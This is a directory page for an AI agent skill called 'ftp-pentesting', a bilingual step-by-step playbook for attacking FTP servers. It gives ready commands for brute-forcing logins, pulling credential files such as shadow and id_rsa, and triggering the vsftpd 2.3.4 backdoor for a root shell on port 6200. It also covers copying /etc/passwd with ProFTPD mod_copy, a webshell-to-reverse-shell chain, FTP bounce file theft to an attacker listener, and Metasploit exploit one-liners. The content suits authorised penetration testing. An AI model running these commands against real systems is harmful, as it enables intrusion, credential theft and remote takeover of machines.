SuperAPI AI Directory

ftp-pentesting

Testing & quality

View repository

Updated 10-16 08:08

About this skill

FTP Penetration Testing Methodology (21)

In-depth Reference


Overall Decision Tree

发现 21 端口开放
├─ Phase 1: 服务发现与版本识别
│   ├─ Banner 抓取 (nc / openssl / nmap)
│   ├─ 识别 FTP 软件与版本 (vsftpd / ProFTPD / Pure-FTPd / FileZilla 等)
│   └─ 判断是否支持 TLS/SSL
│       ├─ 是 -> 使用 lftp 或 openssl s_client 连接
│       └─ 否 -> 明文协议,可直接嗅探凭据
├─ Phase 2: 匿名访问测试
│   ├─ anonymous:anonymous 登录
│   │   ├─ 成功 -> 进入 Phase 3 枚举文件
│   │   └─ 失败 -> 尝试 anonymous:(空) / ftp:ftp
│   └─ 仍失败 -> 进入 Phase 4 凭据攻击
├─ Phase 3: 目录枚举与文件下载
│   ├─ 列出全部文件 (含隐藏文件)
│   ├─ 递归下载 (wget -m)
│   ├─ 识别高价值文件 (.conf / .bak / .sql / .txt / 私钥)
│   └─ 检查可写权限
│       ├─ 可写 + Web 根目录 -> Webshell 上传 (Phase 5.3)
│       └─ 可写 + 非 Web 目录 -> 标记用于后续利用
├─ Phase 4: 凭据攻击
│   ├─ 默认凭据测试 (SecLists ftp-betterdefaultpasslist.txt)
│   ├─ Hydra / Medusa 爆破
│   └─ Nmap ftp-brute 脚本
├─ Phase 5: 漏洞利用
│   ├─ 5.1 vsftpd 2.3.4 后门 (端口 6200)
│   ├─ 5.2 ProFTPD mod_copy (SITE CPFR/CPTO)
│   ├─ 5.3 FTP 根目录映射到 Web 根目录 (XAMPP/ProFTPD)
│   └─ 5.4 FileZilla Server 管理端口 (14147)
└─ Phase 6: FTP Bounce 攻击
    ├─ 端口扫描 (PORT + LIST 响应判断)
    ├─ 协议交互 (通过 FTP 向 HTTP/其他服务发送请求)
    └─ 跨 FTP 文件窃取 (中间人 Bounce 下载)

Phase 1: Service Discovery and Version Identification

1.1 Banner Grabbing

# 基础 Banner 抓取
nc -vn <IP> 21

# TLS 场景 — 获取证书和 Banner
openssl s_client -connect <IP>:21 -starttls ftp

# Nmap 服务版本探测 + 默认脚本
sudo nmap -sV -sC -p 21 <IP>

1.2 FTP Feature Detection

After connecting, send HELP、FEAT、STAT to obtain information about the commands and features supported by the server.

特性探测
├─ HELP -> 列出支持的 FTP 命令
├─ FEAT -> 列出扩展特性 (AUTH TLS / UTF8 / MLST 等)
├─ STAT -> 服务器状态、版本、配置信息
└─ SYST -> 操作系统类型 (UNIX / Windows)

1.3 TLS/STARTTLS Connection

lftp
lftp :~> set ftp:ssl-force true
lftp :~> set ssl:verify-certificate no
lftp :~> connect <IP>
lftp <IP>:~> login <username> <password>

1.4 Complete Set of Nmap FTP Scripts

nmap --script ftp-* -p 21 <IP>

Includes anonymous login detection, Bounce detection, version identification, etc.

Key Judgments:

  • vsftpd 2.3.4 -> backdoor present, immediately proceed to Phase 5.1
  • ProFTPD 1.3.3c-1.3.5 -> check mod_copy, proceed to Phase 5.2
  • FTP root is under the Web directory -> Webshell can be uploaded, proceed to Phase 5.3

Phase 2: Anonymous Access Testing

2.1 Anonymous Login Attempt

匿名登录凭据组合
├─ anonymous : anonymous
├─ anonymous : (空)
├─ ftp : ftp
└─ anonymous : <任意邮箱>
ftp <IP>
# 用户名: anonymous
# 密码: anonymous

2.2 Basic Operations After Login

ls -a           # 列出所有文件(含隐藏)
binary          # 切换二进制传输模式
ascii           # 切换 ASCII 传输模式
pwd             # 当前目录
cd <dir>        # 切换目录
bye             # 退出

2.3 Browser Connection

ftp://anonymous:anonymous@<IP>

Note: If a Web application passes user input directly to the FTP server, double URL encoding %250d%250a can inject FTP commands (CRLF injection).


Phase 3: Directory Enumeration and File Download

3.1 Batch Download

# wget 递归镜像下载
wget -m ftp://anonymous:anonymous@<IP>

# 被动模式失败时使用主动模式
wget -m --no-passive ftp://anonymous:anonymous@<IP>

# 带特殊字符的凭据
wget -r --user="USERNAME" --password="PASSWORD" ftp://<IP>/

3.2 High-Value Files of Interest

高价值文件识别
├─ 配置文件: .conf / .cfg / .ini / .xml / web.config
├─ 备份文件: .bak / .old / .sql / .tar.gz / .zip
├─ 凭据文件: .htpasswd / shadow / passwd / id_rsa
├─ 脚本文件: .sh / .py / .php / .asp
└─ 隐藏文件: .开头的文件 (ls -a 才可见)

3.3 Writable Permission Check

Try uploading a test file to determine write permission:

# FTP 客户端内
put /tmp/test.txt test.txt
# 成功 -> 可写,记录路径
# 失败 -> 无写入权限

-> Detailed FTP command reference -> read references/ftp-commands.md


Phase 4: Credential Attacks

4.1 Attack Decision Tree

凭据攻击
├─ 默认凭据
│   └─ SecLists: Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt
├─ 暴力破解
│   ├─ Hydra (推荐,支持限速)
│   │   └─ hydra -t 1 -l <user> -P <wordlist> -vV <IP> ftp
│   ├─ Medusa
│   │   └─ medusa -h <IP> -u <user> -P <wordlist> -M ftp
│   └─ Nmap 脚本
│       └─ nmap --script ftp-brute -p 21 <IP>
└─ Metasploit
    └─ auxiliary/scanner/ftp/ftp_login

4.2 Common Default Credentials

Username Common Passwords
anonymous anonymous / (empty)
ftp ftp
admin admin / password
root root / toor
user user / password

Phase 5: Vulnerability Exploitation

5.1 vsftpd 2.3.4 Backdoor

Condition: vsftpd version is exactly 2.3.4 (implanted with a malicious backdoor)

vsftpd 2.3.4 后门利用
├─ 触发: 用户名包含 ":)" 字符
│   └─ 发送 USER user:) / PASS any
├─ 结果: 在端口 6200 打开 root shell
│   └─ nc <IP> 6200
└─ Metasploit:
    └─ exploit/unix/ftp/vsftpd_234_backdoor

5.2 ProFTPD mod_copy (SITE CPFR/CPTO)

Condition: ProFTPD 1.3.5 and below, mod_copy module enabled

mod_copy 利用
├─ 无需认证即可复制服务器上的文件
├─ SITE CPFR /etc/passwd     # 指定源文件
├─ SITE CPTO /var/www/passwd  # 复制到可访问位置
└─ 场景:
    ├─ 读取敏感文件 -> 复制到 Web 目录通过 HTTP 下载
    └─ 写入 Webshell -> 复制 PHP 文件到 Web 根目录

5.3 FTP Root Directory Mapped to Web Root Directory

Condition: In environments such as XAMPP/ProFTPD, the FTP root is mapped to /opt/lampp/htdocs or a similar Web root directory

FTP -> Webshell 攻击链
├─ 1) 通过 FTP 上传 PHP Webshell (需写权限)
├─ 2) 通过 HTTP 访问触发 Webshell
├─ 3) 通过 Webshell 执行下载/反弹 Shell
└─ 若当前目录不可执行 -> 尝试 /tmp 或其他可写路径

5.4 FileZilla Server Management Port

Condition: FileZilla Server is running, management port 14147 is reachable

FileZilla 管理攻击
├─ 端口 14147 默认空密码
├─ 建立 SSH 隧道或端口转发到本地
├─ 连接管理接口,创建新 FTP 用户
└─ 使用新用户访问 FTP 服务

5.5 Other Known Vulnerabilities

FTP 漏洞速查
├─ ProFTPD
│   ├─ mod_copy (SITE CPFR/CPTO) — 上文已述
│   ├─ CVE-2015-3306 — 未认证文件复制
│   └─ searchsploit proftpd
├─ vsftpd
│   ├─ 2.3.4 后门 — 上文已述
│   └─ searchsploit vsftpd
├─ Pure-FTPd
│   └─ searchsploit pure-ftpd
├─ Wu-FTPd
│   └─ searchsploit wu-ftpd
└─ 通用: searchsploit ftp

-> Detailed exploit commands -> read references/ftp-commands.md


Phase 6: FTP Bounce Attack

6.1 Principle

FTP's PORT command allows the client to specify the target IP and port for the data connection. If the server does not restrict third-party addresses, an attacker can use the FTP server as a proxy:

FTP Bounce 攻击面
├─ 端口扫描 — 通过响应码判断端口开放/关闭
│   ├─ 150 File status okay -> 端口开放
│   └─ 425 No connection established -> 端口关闭
├─ 协议交互 — 上传含 HTTP/FTP 命令的文件,通过 RETR 发送
└─ 跨 FTP 文件窃取 — 通过 Bounce 从内网 FTP 下载文件

6.2 Bounce Port Scanning

Manual Method:

# 1. 连接 FTP
# 2. PORT 指向目标 IP:Port
PORT 172,32,80,80,0,80    # 扫描 172.32.80.80:80
# 或
EPRT |1|172.32.80.80|80|  # IPv4;IPv6 使用 |2|IPv6|port|
# 3. LIST 触发连接
# 150 -> 端口开放; 425 -> 端口关闭

Nmap Bounce Scan:

nmap -b <user>:<pass>@<ftp_server> <victim_ip>
nmap -Pn -v -p 21,80,443 -b ftp:ftp@<ftp_server> <victim_ip>
nmap -Pn -v -p 21,22,445,80,443 -b ftp:ftp@<ftp_server> 192.168.0.1/24

6.3 Bounce Protocol Interaction

通过 FTP Bounce 发送 HTTP 请求
├─ 1) 构造包含 HTTP 请求的文本文件 (行结束符 0x0d 0x0a)
├─ 2) 上传到 FTP 服务器
├─ 3) REST X — 跳过不需要发送的字节 (如文件头)
├─ 4) PORT 指向目标 HTTP 服务器
├─ 5) RETR 发送请求文件
└─ 注意: Socket not writable 错误常见
    ├─ 对策: 重复请求内容至 ~0.5MB
    ├─ 对策: 填充空字节/垃圾数据
    └─ 对策: 重复 RETR 命令

6.4 Cross-FTP File Theft

中间 FTP 服务器 Bounce 下载
├─ 条件: 中间服务器和目标服务器都允许 PORT 第三方地址
├─ 流程:
│   ├─ 1) 攻击者开启 TCP 监听 (nc -lvnp 2121 > loot.bin)
│   ├─ 2) 构造包含 FTP 登录+下载命令的指令文件
│   ├─ 3) 上传指令文件到中间 FTP 服务器
│   ├─ 4) PORT 指向目标 FTP 端口,RETR 触发指令执行
│   └─ 5) 目标 FTP 将文件发送到攻击者监听端口
└─ Nmap 快速检测 Bounce 可行性:
    └─ nmap -Pn -p21 --script ftp-bounce <middle_ftp_ip>

-> Complete Bounce attack steps and automation scripts -> read references/ftp-commands.md


Configuration File Audit

After gaining access, check the FTP server configuration:

Common Configuration File Locations

FTP 配置文件
├─ /etc/vsftpd.conf           # vsftpd 主配置
├─ /etc/vsftpd/vsftpd.conf    # CentOS/RHEL
├─ /etc/ftpusers               # 禁止 FTP 登录的用户
├─ /etc/proftpd/proftpd.conf  # ProFTPD
└─ /etc/pure-ftpd/            # Pure-FTPd

vsftpd dangerous configuration

Configuration item Risk description
anonymous_enable=YES Allow anonymous login
anon_upload_enable=YES Anonymous users can upload files
anon_mkdir_write_enable=YES Anonymous users can create directories
no_anon_password=YES Anonymous login requires no password
write_enable=YES Allow write commands such as STOR/DELE/RNFR
chown_uploads=YES Anonymous uploaded files change ownership
local_enable=YES Allow local system users to log in

Metasploit quick reference

# 匿名登录检测
msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS <IP>; set RPORT 21; run; exit'

# 版本探测
msfconsole -q -x 'use auxiliary/scanner/ftp/ftp_version; set RHOSTS <IP>; set RPORT 21; run; exit'

# 目录遍历检测
msfconsole -q -x 'use auxiliary/scanner/ftp/bison_ftp_traversal; set RHOSTS <IP>; set RPORT 21; run; exit'

# vsftpd 后门利用
msfconsole -q -x 'use exploit/unix/ftp/vsftpd_234_backdoor; set RHOSTS <IP>; run; exit'